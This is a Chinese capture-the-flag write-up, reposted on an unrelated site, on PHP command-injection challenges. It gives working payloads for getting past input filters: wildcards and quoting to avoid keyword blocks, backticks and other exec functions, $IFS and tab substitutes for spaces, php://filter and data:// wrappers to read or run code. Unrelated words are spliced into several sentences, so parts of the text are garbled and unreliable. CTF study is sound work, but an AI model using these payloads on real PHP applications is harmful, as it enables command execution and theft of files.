CTF命令执行

谐波电流CTF命令执⾏
知识点:通配符
payload:c=system('cat f*');
在linux系统中有⼀些通配符
* 匹配任何字符串/⽂本,包括空字符串;*代表任意字符(0个或多个) ls file * ? 匹配任何⼀个字符(不在括号内时)?代表任意1个字符 ls file 0 [abcd] 匹配abcd中任何⼀个字符 [a-z] 表⽰范围a到z,表⽰范围的意思 []匹配中括号中任意⼀个字符 ls file 0
我们想要执⾏ cat flag.php,但是flag被过滤了,这时候就可以使⽤通配符
cat f*表⽰打开当前⽬录下所有 f开头的⽂件
再补充⼀下:对于linux cat和ca''t ca\t ca""t效果是相同的这样同样可以绕过字符的限制⽐如 c=system('ca\t fla\g.php');
知识点:反引号执⾏系统命令
木兰花张先
payload:c=echo `cat f*`;
因为过滤了system,我们就得选择其他的命令执⾏函数了
常见的有如下⼏个,其中system是有回显的,其他的就得需要我们⾃⾏输出。调⽤echo或者其他输出函数即可。
system() passthru() exec() shell_exec() popen() proc_open() pcntl_exec() 反引号同shell_exec()
知识点:空格过滤+cat过滤绕过
payload:c=echo(`more%09f*`);
在linux 空格可以⽤以下字符串代替:
%09(tab)、$IFS$9、 IFS、IFS、IFS%09(tab)、< 、<>、%20(space)等
在使⽤带有$的内容替换时,要注意转义,因为\$在php中有特殊含义
电气化铁路
thomas征eg:echo(`ls\$IFS/`) 在linux中与cat有类似功能的有如下字符 `cat、tac、more、less、head、tail、nl、sed、sort、uniq、rev` 到⼀个替换的即可。
POST传⼊
c=include"$_POST[1]“> 1=php://filter/read=convert.base64-encode/resource=flag.php
限制了后缀,我们可以试试伪协议,因为不能带有flag,所以filter协议和php://input也不好⽤了
payload c=data:text/plain,<?php system('cat f*')?>
碳炔赤字率这样就相当于执⾏了php语句<?php system('cat f*')?>.php
因为前⾯的php语句已经闭合了,所以后⾯的.php会被当成html页⾯直接显⽰在页⾯上,起不到什么作⽤。

本文发布于:2024-09-21 01:43:44,感谢您对本站的认可!

本文链接:https://www.17tex.com/xueshu/97117.html

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。

标签:过滤   任意   字符串   替换   带有   赤字   字符   个字符
留言与评论(共有 0 条评论)
   
验证码:
Copyright ©2019-2024 Comsenz Inc.Powered by © 易纺专利技术学习网 豫ICP备2022007602号 豫公网安备41160202000603 站长QQ:729038198 关于我们 投诉建议